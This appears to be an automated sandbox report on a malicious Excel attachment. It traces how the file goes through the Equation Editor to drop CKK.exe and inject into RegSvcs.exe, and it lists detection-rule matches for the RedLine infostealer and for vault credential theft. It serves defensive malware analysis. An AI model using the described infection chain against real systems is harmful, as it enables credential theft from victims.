Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E47920	3_2_00E47920
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E67A4A	3_2_00E67A4A
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E67CA7	3_2_00E67CA7
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E61C77	3_2_00E61C77
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E79EEE	3_2_00E79EEE
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00ECBE44	3_2_00ECBE44
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E61F32	3_2_00E61F32
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00113640	3_2_00113640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00408C60	4_2_00408C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040DC11	4_2_0040DC11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00407C3F	4_2_00407C3F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00418CCC	4_2_00418CCC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00406CA0	4_2_00406CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004028B0	4_2_004028B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041A4BE	4_2_0041A4BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00418244	4_2_00418244
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401650	4_2_00401650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402F20	4_2_00402F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004193C4	4_2_004193C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00418788	4_2_00418788
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402F89	4_2_00402F89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402B90	4_2_00402B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004073A0	4_2_004073A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0027D428	4_2_0027D428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0027C810	4_2_0027C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00271030	4_2_00271030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00270E7B	4_2_00270E7B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0027CB58	4_2_0027CB58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D30FC0	4_2_00D30FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D334C0	4_2_00D334C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D6AC08	4_2_00D6AC08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D66508	4_2_00D66508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D69A78	4_2_00D69A78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D63208	4_2_00D63208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D68C59	4_2_00D68C59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D6BD18	4_2_00D6BD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D6513C	4_2_00D6513C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D668C0	4_2_00D668C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00D632C1	4_2_00D632C1

Source: PO 2_5_24.xlam.xlsx

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: String function: 00E60A30 appears 46 times
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: String function: 00E5F9F2 appears 40 times
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: String function: 00E49CB3 appears 31 times

Source: sheet1.xml, type: SAMPLE	Matched rule: INDICATOR_XML_LegacyDrawing_AutoLoad_Document author = ditekSHen, description = detects AutoLoad documents using LegacyDrawing
Source: 4.2.RegSvcs.exe.450ee8.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.450000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.450000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.CKK.exe.140000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.RegSvcs.exe.a6f04e.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.3446458.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.4c0000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.3497170.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.a6f04e.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 4.2.RegSvcs.exe.a6ff36.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000004.00000002.608390113.00000000004C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000004.00000002.608358959.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000003.00000002.447488825.0000000000140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, RsYAkkzVoy.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, Kqqzixk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, xROdzGigX.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, ywes.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, iPVW0zV.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, 1Pi9sgbHwoV.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, YUgDfWK2g4.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, YUgDfWK2g4.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, MarWtcu.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@6/8@2/2

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EB37B5 GetLastError,FormatMessageW,

3_2_00EB37B5

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EA10BF AdjustTokenPrivileges,CloseHandle,		3_2_00EA10BF
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00EA16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		3_2_00EA16C3

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EB51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

3_2_00EB51CD

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00ECA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

3_2_00ECA67C

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00EB648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

3_2_00EB648E

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E442A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

3_2_00E442A2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$PO 2_5_24.xlam.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR64BB.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: PO 2_5_24.xlam.xlsx	Virustotal: Detection: 53%
Source: PO 2_5_24.xlam.xlsx	ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\CKK.exe "C:\Users\user\AppData\Roaming\CKK.exe"
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\CKK.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\CKK.exe "C:\Users\user\AppData\Roaming\CKK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\CKK.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Section loaded: dwmapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: PO 2_5_24.xlam.xlsx	Initial sample: OLE zip file path = xl/media/image1.jpg
Source: PO 2_5_24.xlam.xlsx	Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: _.pdb source: RegSvcs.exe, 00000004.00000002.608372790.0000000000450000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608574126.0000000003441000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.608436273.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: CKK.exe, 00000003.00000003.446352254.0000000000F70000.00000004.00001000.00020000.00000000.sdmp, CKK.exe, 00000003.00000003.446225699.0000000002D70000.00000004.00001000.00020000.00000000.sdmp

Source: PO 2_5_24.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: C:\Users\user\AppData\Roaming\CKK.exe

Code function: 3_2_00E442DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

3_2_00E442DE

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E60A76 push ecx; ret	3_2_00E60A89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041C40C push cs; iretd	4_2_0041C4E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00423149 push eax; ret	4_2_00423179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041C50E push cs; iretd	4_2_0041C4E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004231C8 push eax; ret	4_2_00423179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0040E21D push ecx; ret	4_2_0040E230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041C6BE push ebx; ret	4_2_0041C6BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00273725 push ss; ret	4_2_00273729
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00274316 pushfd ; iretd	4_2_00274319

Source: 4.2.RegSvcs.exe.4c0000.3.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'L9ASkpV85GROR', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.RegSvcs.exe.450ee8.2.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'L9ASkpV85GROR', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.RegSvcs.exe.3446458.6.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'L9ASkpV85GROR', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.RegSvcs.exe.a6ff36.4.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'L9ASkpV85GROR', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'
Source: 4.2.RegSvcs.exe.3497170.7.raw.unpack, WP6RZJql8gZrNhVA9v.cs	High entropy of concatenated method names: 'G9skPDgcXb', 'KDikMXewCI', 'B2XkaLi4dH', 'hx5kqNgSj4', 'TVtkAMaqpL', 'VDqkQKyKML', 'L9ASkpV85GROR', 'ab9oDe4UH3', 'TAOohhiP7R', 'zDKosecjaB'

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Roaming\CKK.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00E5F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		3_2_00E5F98E
Source: C:\Users\user\AppData\Roaming\CKK.exe	Code function: 3_2_00ED1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		3_2_00ED1C41

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\CKK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
